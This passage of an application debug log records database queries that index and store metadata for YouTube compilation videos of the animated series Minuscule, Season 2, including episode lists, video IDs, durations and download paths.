S02E15\n00:57:00 | Acrobatics | S02E16\n01:00:45 | The Hat Of The Medusa | S02E17\n01:04:31 | Night of the Gastropods | S02E18\n01:08:16 | The Chocolate Chase! | S02E19\n01:12:02 | A Butterfly's Nightmare | S02E20\n01:15:18 | Patatas Fritas | S02E21\n01:19:04 | If Only Lonely | S02E22\n01:22:50 | The Butterfly Effect | S02E23\n01:26:12 | Fly Hunting | S02E24\n01:29:46 | Hop On! | S02E25\n01:33:23 | The Housing Plant Project | S02E26\n01:37:00 | At Full Speed | S02E27\n01:40:43 | The Annoying Neighbor | S02E28\n01:44:19 | Thirsty | S02E29\n01:47:52 | High voltage | S02E30\n01:51:26 | Spider from the Depths | S02E31\n01:55:00 | Gather More to Pollinate More | S02E32\n01:58:46 | The Iron Monster | S02E33\n02:02:19 | The Long Road | S02E34\n02:06:02 | The Yule log | S02E35\n02:09:48 | Spider Driver | S02E36\n02:13:29 | The Monster Of The Haunted Swamp | S02E37\n02:17:00 | Rascals! | S02E38\n02:20:39 | The Grocery Store Incident | S02E39\n02:24:10 | Sunburn | S02E40\n02:27:34 | Away all boarders! | S02E41\n02:31:17 | Down The Chimney | S02E42\n02:35:02 | To The Port Now! | S02E43\n02:38:30 | Zzz zzz | S02E44\n02:42:00 | Love Apple | S02E45\n02:45:40 | Brushing | S02E46\n02:49:12 | Woopsy Daysies! | S02E47\n02:52:46 | Summer Hat | S02E48\n02:56:28 | Sand Castle | S02E49\n02:59:54 | The Grocery Store Racketeer | S02E50\n03:03:30 | Snow Fly | S02E51\n03:06:55 | Ants On The Train | S02E52\n03:10:26 | Zzz In The Metro | S02E53\n03:14:02 | Go Blue Go! | S02E54\n03:17:43 | Black Slope For Gastropod Skiers | S02E55\n03:21:29 | Beehive On A Troll | S02E56\n03:24:59 | The Mosquito Of The Caribbean | S02E57\n03:28:45 | Turbo speed | S02E58\n03:32:09 | Snow Carrot | S02E59\n03:35:48 | Pollution | S02E60\n03:39:33 | Metamorphosis | S02E61\n03:43:04 | Ladybugland | S02E62\n03:46:31 | White As Snow | S02E63\n03:50:08 | Trapped | S02E64\n03:53:50 | Refrigerated | S02E65\n03:57:25 | Twelve Angry Snails | S02E66\n04:00:57 | It's a tie! | S02E67\n04:04:38 | Sleep Walker | S02E68\n04:08:03 | Labyrinth | S02E69\n04:11:48 | Top Tabasco | S02E70\n04:15:26 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybu (truncated) 22:15:39.245 [debug] QUERY OK source="sources" db=0.3ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.246 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-22 06:00:52Z], 5] 22:15:39.249 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Annoying Neighbor | S02E28\n00:07:23 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless | Minuscule 🍃 15' Compilation", "330624db-0c55-4d15-8894-32a535bbf560", "6QpMZlFOxwk", 698, false, 5, "https://www.youtube.com/watch?v=6QpMZlFOxwk", 62, "/downloads/Miniscule Season 2/2025-04-22 Homeless | Minuscule 🍃 15' Compilation/Homeless | Minuscule 🍃 15' Compilation [6QpMZlFOxwk].mp4", false, false, false, [], 1, ~U[2025-04-22 06:00:52Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Homeless | S02E02\n00:03:47 | The Annoying Neighbor | S02E28\n00:07:23 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Caterpillar #Refuge #Insects #Homeless #caterpillar #noisy #neighbor #apple #Minuscule #nature #insects #ladybugs #animatedseries", "Homeless | Minuscule 🍃 15' Compilation", "6QpMZlFOxwk", 698, false, 5, "https://www.youtube.com/watch?v=6QpMZlFOxwk", "/downloads/Miniscule Season 2/2025-04-22 Homeless | Minuscule 🍃 15' Compilation/Homeless | Minuscule 🍃 15' Compilation [6QpMZlFOxwk].mp4", false, ~U[2025-04-22 06:00:52Z]] 22:15:39.250 [debug] QUERY OK source="sources" db=0.3ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.251 [debug] QUERY OK source="media_items" db=0.8ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-12 18:01:00Z], 5] 22:15:39.254 [debug] QUERY OK source="media_items" db=2.2ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Labyrinth | S02E69\n00:03:45 | Refrigerated | S02E65\n00:07:20 | Spider from the Depths | S02E31\n00:10:54 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Labyrinth #spider #fly #exit #Refrigerated #ice #Minuscule #nature #insects #ladybugs #animatedseries", "Labyrinth | Minuscule 🍃🕷️ 20' Compilation", "3989321b-6f5c-4706-a3d6-9f7bdc19ed96", "lKFrUfigr-k", 900, false, 5, "https://www.youtube.com/watch?v=lKFrUfigr-k", 63, "/downloads/Miniscule Season 2/2025-04-12 Labyrinth | Minuscule 🍃🕷️ 20' Compilation/Labyrinth | Minuscule 🍃🕷️ 20' Compilation [lKFrUfigr-k].mp4", false, false, false, [], 1, ~U[2025-04-12 18:01:00Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Labyrinth | S02E69\n00:03:45 | Refrigerated | S02E65\n00:07:20 | Spider from the Depths | S02E31\n00:10:54 | Ladybugland | S02E62\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Labyrinth #spider #fly #exit #Refrigerated #ice #Minuscule #nature #insects #ladybugs #animatedseries", "Labyrinth | Minuscule 🍃🕷️ 20' Compilation", "lKFrUfigr-k", 900, false, 5, "https://www.youtube.com/watch?v=lKFrUfigr-k", "/downloads/Miniscule Season 2/2025-04-12 Labyrinth | Minuscule 🍃🕷️ 20' Compilation/Labyrinth | Minuscule 🍃🕷️ 20' Compilation [lKFrUfigr-k].mp4", false, ~U[2025-04-12 18:01:00Z]] 22:15:39.255 [debug] QUERY OK source="sources" db=0.4ms idle=5.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.257 [debug] QUERY OK source="media_items" db=0.9ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-10 10:01:30Z], 5] 22:15:39.260 [debug] QUERY OK source="media_items" db=2.3ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:31 | Trapped | S02E64\n00:11:13 | Microzilla | S02E07\n00:14:59 | An Acorn Season | S02E05\n00:18:44 | The Chocolate Chase! | S02E19\n00:22:30 | Turbo speed | S02E58\n00:25:54 | Bzzaping | S02E03\n00:29:41 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics | Minuscule 🍃 45' Compilation", "36e7cce1-2b1c-47c9-8228-061adc4d1f9c", "x9RfjS6rVoE", 2043, false, 5, "https://www.youtube.com/watch?v=x9RfjS6rVoE", 65, "/downloads/Miniscule Season 2/2025-04-10 Acrobatics | Minuscule 🍃 45' Compilation/Acrobatics | Minuscule 🍃 45' Compilation [x9RfjS6rVoE].mp4", false, false, false, [], 1, ~U[2025-04-10 10:01:30Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Acrobatics | S02E16\n00:03:45 | A Pathetic She'Nut'Igan | S02E12\n00:07:31 | Trapped | S02E64\n00:11:13 | Microzilla | S02E07\n00:14:59 | An Acorn Season | S02E05\n00:18:44 | The Chocolate Chase! | S02E19\n00:22:30 | Turbo speed | S02E58\n00:25:54 | Bzzaping | S02E03\n00:29:41 | Away all boarders! | S02E41\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Acrobatics #Wasps #Ladybird #Competition #Pathetic #Spider #Invent #Strategies #Minuscule #nature #insects #ladybugs #animatedseries", "Acrobatics | Minuscule 🍃 45' Compilation", "x9RfjS6rVoE", 2043, false, 5, "https://www.youtube.com/watch?v=x9RfjS6rVoE", "/downloads/Miniscule Season 2/2025-04-10 Acrobatics | Minuscule 🍃 45' Compilation/Acrobatics | Minuscule 🍃 45' Compilation [x9RfjS6rVoE].mp4", false, ~U[2025-04-10 10:01:30Z]] 22:15:39.261 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.262 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-27 11:01:30Z], 5] 22:15:39.266 [debug] QUERY OK source="media_items" db=2.3ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sausage Predator | S02E06\n00:03:45 | The Yule log | S02E35\n00:07:31 | To The Port Now! | S02E43\n00:10:58 | Metamorphosis | S02E61\n00:14:29 | Love Apple | S02E45\n00:18:08 | The Annoying Neighbor | S02E28\n00:21:44 | Homeless | S02E02\n00:25:32 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Sausage #Predator #ants #barbecue #Yule #Christmas #fire #Minuscule #nature #insects #ladybugs #animatedseries", "Sausage Predator | Minuscule 🍃 40' Compilation", "1d272ba9-7ee8-48f8-b8b8-16e8c3cf4340", "u65noLqB1MQ", 1787, false, 5, "https://www.youtube.com/watch?v=u65noLqB1MQ", 66, "/downloads/Miniscule Season 2/2025-03-27 Sausage Predator | Minuscule 🍃 40' Compilation/Sausage Predator | Minuscule 🍃 40' Compilation [u65noLqB1MQ].mp4", false, false, false, [], 1, ~U[2025-03-27 11:01:30Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Sausage Predator | S02E06\n00:03:45 | The Yule log | S02E35\n00:07:31 | To The Port Now! | S02E43\n00:10:58 | Metamorphosis | S02E61\n00:14:29 | Love Apple | S02E45\n00:18:08 | The Annoying Neighbor | S02E28\n00:21:44 | Homeless | S02E02\n00:25:32 | The Housing Plant Project | S02E26\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Sausage #Predator #ants #barbecue #Yule #Christmas #fire #Minuscule #nature #insects #ladybugs #animatedseries", "Sausage Predator | Minuscule 🍃 40' Compilation", "u65noLqB1MQ", 1787, false, 5, "https://www.youtube.com/watch?v=u65noLqB1MQ", "/downloads/Miniscule Season 2/2025-03-27 Sausage Predator | Minuscule 🍃 40' Compilation/Sausage Predator | Minuscule 🍃 40' Compilation [u65noLqB1MQ].mp4", false, ~U[2025-03-27 11:01:30Z]] 22:15:39.266 [debug] QUERY OK source="sources" db=0.4ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.268 [debug] QUERY OK source="media_items" db=0.8ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-01 06:00:43Z], 5] 22:15:39.271 [debug] QUERY OK source="media_items" db=2.4ms idle=6.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | Valentine's Day | S02E15\n00:07:31 | Summer Hat | S02E48\n00:11:12 | Snow Fly | S02E51\n00:14:37 | Sunburn | S02E40\n00:18:01 | Zzz zzz | S02E44\n00:21:32 | Pollution | S02E60\n00:25:17 | Down The Chimney | S02E42\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #Valentine's #centipede #robber #ring #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 40' Compilation", "ce0ce874-c2cf-416e-b302-145ab3e3a84c", "cYsb4xcVEHE", 1781, false, 5, "https://www.youtube.com/watch?v=cYsb4xcVEHE", 67, "/downloads/Miniscule Season 2/2025-04-01 Thievish As A Magpie | Minuscule 🍃 40' Compilation/Thievish As A Magpie | Minuscule 🍃 40' Compilation [cYsb4xcVEHE].mp4", false, false, false, [], 1, ~U[2025-04-01 06:00:43Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Thievish As A Magpie | S02E11\n00:03:45 | Valentine's Day | S02E15\n00:07:31 | Summer Hat | S02E48\n00:11:12 | Snow Fly | S02E51\n00:14:37 | Sunburn | S02E40\n00:18:01 | Zzz zzz | S02E44\n00:21:32 | Pollution | S02E60\n00:25:17 | Down The Chimney | S02E42\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#thief #beach #treasures #panic #Valentine's #centipede #robber #ring #Minuscule #nature #insects #ladybugs #animatedseries", "Thievish As A Magpie | Minuscule 🍃 40' Compilation", "cYsb4xcVEHE", 1781, false, 5, "https://www.youtube.com/watch?v=cYsb4xcVEHE", "/downloads/Miniscule Season 2/2025-04-01 Thievish As A Magpie | Minuscule 🍃 40' Compilation/Thievish As A Magpie | Minuscule 🍃 40' Compilation [cYsb4xcVEHE].mp4", false, ~U[2025-04-01 06:00:43Z]] 22:15:39.272 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:39.273 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-29 19:00:42Z], 5] 22:15:39.277 [debug] QUERY OK source="media_items" db=2.4ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | Telecanetic | S03E19\n00:02:58 | The Magic Fly | S03E15\n00:04:27 | Like A Cannon Ball | S03E03\n00:05:56 | The Wicked Web | S03E07\n00:07:25 | Blunder | S03E26\n00:09:05 | Webrizon | S03E02\n00:10:34 | At Full Speed | S03E22\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#flies #spider #race #toys #Telekinesis #Chase #Spider #Powers #Minuscule #nature #insects #ladybugs #animatedseries", "Mad fly | Minuscule 🍃 15' Compilation", "3229288a-da38-4d97-880c-8897d194f3aa", "MmFinvp6tCk", 734, false, 5, "https://www.youtube.com/watch?v=MmFinvp6tCk", 68, "/downloads/Miniscule Season 2/2025-03-29 Mad fly | Minuscule 🍃 15' Compilation/Mad fly | Minuscule 🍃 15' Compilation [MmFinvp6tCk].mp4", false, false, false, [], 1, ~U[2025-03-29 19:00:42Z], ~U[2025-12-12 05:15:39Z], ~U[2025-12-12 05:15:39Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Mad fly | S03E08\n00:01:29 | Telecanetic | S03E19\n00:02:58 | The Magic Fly | S03E15\n00:04:27 | Like A Cannon Ball | S03E03\n00:05:56 | The Wicked Web | S03E07\n00:07:25 | Blunder | S03E26\n00:09:05 | Webrizon | S03E02\n00:10:34 | At Full Speed | S03E22\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights 